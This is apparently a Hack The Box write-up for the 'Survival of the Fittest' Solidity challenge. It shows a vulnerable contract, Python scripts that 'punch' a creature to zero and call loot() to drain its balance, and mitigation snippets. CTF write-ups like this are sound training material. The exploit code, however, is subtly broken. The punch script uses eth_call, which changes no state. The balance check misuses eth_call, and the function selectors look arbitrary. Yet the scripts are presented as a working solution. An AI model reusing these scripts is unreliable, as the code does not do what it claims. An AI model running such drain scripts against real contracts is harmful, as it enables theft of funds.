$ cat writeup.md…
$ cat writeup.md…
Hack The Box
Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win con
Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win condition.
// Simplified Creature contract structure contract Creature { uint256 public lifePoints = 20; address public owner; constructor() { owner = msg.sender; } // Damage function function punch() external { lifePoints -= 1; } // Vulnerable loot function — only available when lifePoints == 0 function loot() external { require(lifePoints == 0, "Creature is still alive"); payable(msg.sender).transfer(address(this).balance); } }
Key observations:
lifePoints is initialized to 20punch() function is public and can be called by any addressloot() function checks lifePoints == 0 before transferring ethertransfer() — a safe method (2300 gas)contract Setup { address public TARGET; constructor(address _target) { TARGET = _target; } function isSolved() public view returns (bool) { // Win is counted when TARGET balance equals 0 return address(TARGET).balance == 0; } }
Win logic:
TARGET.balance == 0loot() after killing the creature# Connect to challenge RPC CAST_RPC_URL="http://83.136.249.34:46638/rpc" # Check target contract balance cast balance <TARGET_ADDRESS> --rpc-url $CAST_RPC_URL # Expected: > 0 ether
#!/usr/bin/env python3 """ Script for exploiting Survival of the Fittest challenge. Punches the creature 20 times to reduce lifePoints to 0. """ import requests RPC_URL = "http://83.136.249.34:46638/rpc" TARGET_ADDRESS = "<TARGET_CONTRACT_ADDRESS>" def call_contract(method, params=None): """Make an eth_call to the contract.""" payload = { "jsonrpc": "2.0", "method": method, "params": params or [], "id": 1 } response = requests.post(RPC_URL, json=payload) return response.json() def get_life_points(): """Get current lifePoints value.""" data = { "to": TARGET_ADDRESS, "data": "0x13af4035" # lifePoints() function selector } result = call_contract("eth_call", [data, "latest"]) return int(result["result"], 16) def punch(): """Call punch() function to reduce lifePoints.""" data = { "to": TARGET_ADDRESS, "data": "0xc6a77d11" # punch() function selector } result = call_contract("eth_call", [data, "latest"]) return result def main(): print(f"Initial lifePoints: {get_life_points()}") # Punch 20 times to kill the creature for i in range(20): punch() current = get_life_points() print(f"Punch {i+1}/20: lifePoints = {current}") print(f"Final lifePoints: {get_life_points()}") print("Creature is dead! Loot is now available.") if __name__ == "__main__": main()
#!/usr/bin/env python3 """ Script for calling loot() after creature is dead. """ import requests from eth_account import Account from web3 import Web3 RPC_URL = "http://83.136.249.34:46638/rpc" TARGET_ADDRESS = "<TARGET_CONTRACT_ADDRESS>" # Attacker wallet private key ATTACKER_PRIVATE_KEY = "0x..." ATTACKER_ADDRESS = "0x..." def get_life_points(): """Check if creature is dead.""" data = { "to": TARGET_ADDRESS, "data": "0x13af4035" } response = requests.post(RPC_URL, json={ "jsonrpc": "2.0", "method": "eth_call", "params": [data, "latest"], "id": 1 }) return int(response.json()["result"], 16) def loot(): """Call loot() to drain contract balance.""" web3 = Web3(Web3.HTTPProvider(RPC_URL)) # Check that creature is dead if get_life_points() != 0: print("ERROR: Creature is still alive!") return # Prepare transaction nonce = web3.eth.get_transaction_count(ATTACKER_ADDRESS) tx = { 'nonce': nonce, 'to': TARGET_ADDRESS, 'data': '0x4d231b6b', # loot() function selector 'gas': 100000, 'gasPrice': web3.eth.gas_price, 'chainId': 123456 # Challenge chain ID } # Sign and send signed = web3.eth.account.sign_transaction(tx, ATTACKER_PRIVATE_KEY) tx_hash = web3.eth.send_raw_transaction(signed.rawTransaction) print(f"loot() called! Tx: {tx_hash.hex()}") return tx_hash def check_solved(): """Check if challenge is solved.""" # Check TARGET balance response = requests.post(RPC_URL, json={ "jsonrpc": "2.0", "method": "eth_call", "params": [{ "to": TARGET_ADDRESS, "data": "0x" # empty call to get balance }, "latest"], "id": 1 }) balance = int(response.json()["result"], 16) print(f"TARGET balance: {balance} wei ({balance / 1e18} ETH)") return balance == 0 def main(): if get_life_points() == 0: loot() if check_solved(): print("✅ CHALLENGE SOLVED!") else: print("❌ Still not solved") else: print("Kill the creature first!") if __name__ == "__main__": main()
# After successful exploitation curl http://83.136.249.34:46638/flag # Response: # HTB{REDACTED}
Developers should:
Add state checks
function punch() external { require(lifePoints > 0, "Already dead"); lifePoints -= 1; }
Use require with clear messages
function loot() external { require(lifePoints == 0, "Creature is still alive"); // ... }
Limit the number of attack function calls
mapping(address => uint256) public attackCount; uint256 public constant MAX_ATTACKS = 10; function punch() external { require(attackCount[msg.sender] < MAX_ATTACKS, "Too many attacks"); attackCount[msg.sender]++; lifePoints -= 1; }
Separate authorization mechanism
address public gameMaster; function loot() external { require(msg.sender == gameMaster, "Only game master can loot"); // ... }
| Tool | Purpose |
|---|---|
| cast | CLI for interacting with Ethereum-like networks |
| foundry | Testing framework for Solidity |
| remix | Online IDE for Solidity |
| web3.py | Python library for working with Ethereum |
| eth_account | Account management and transaction signing |
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar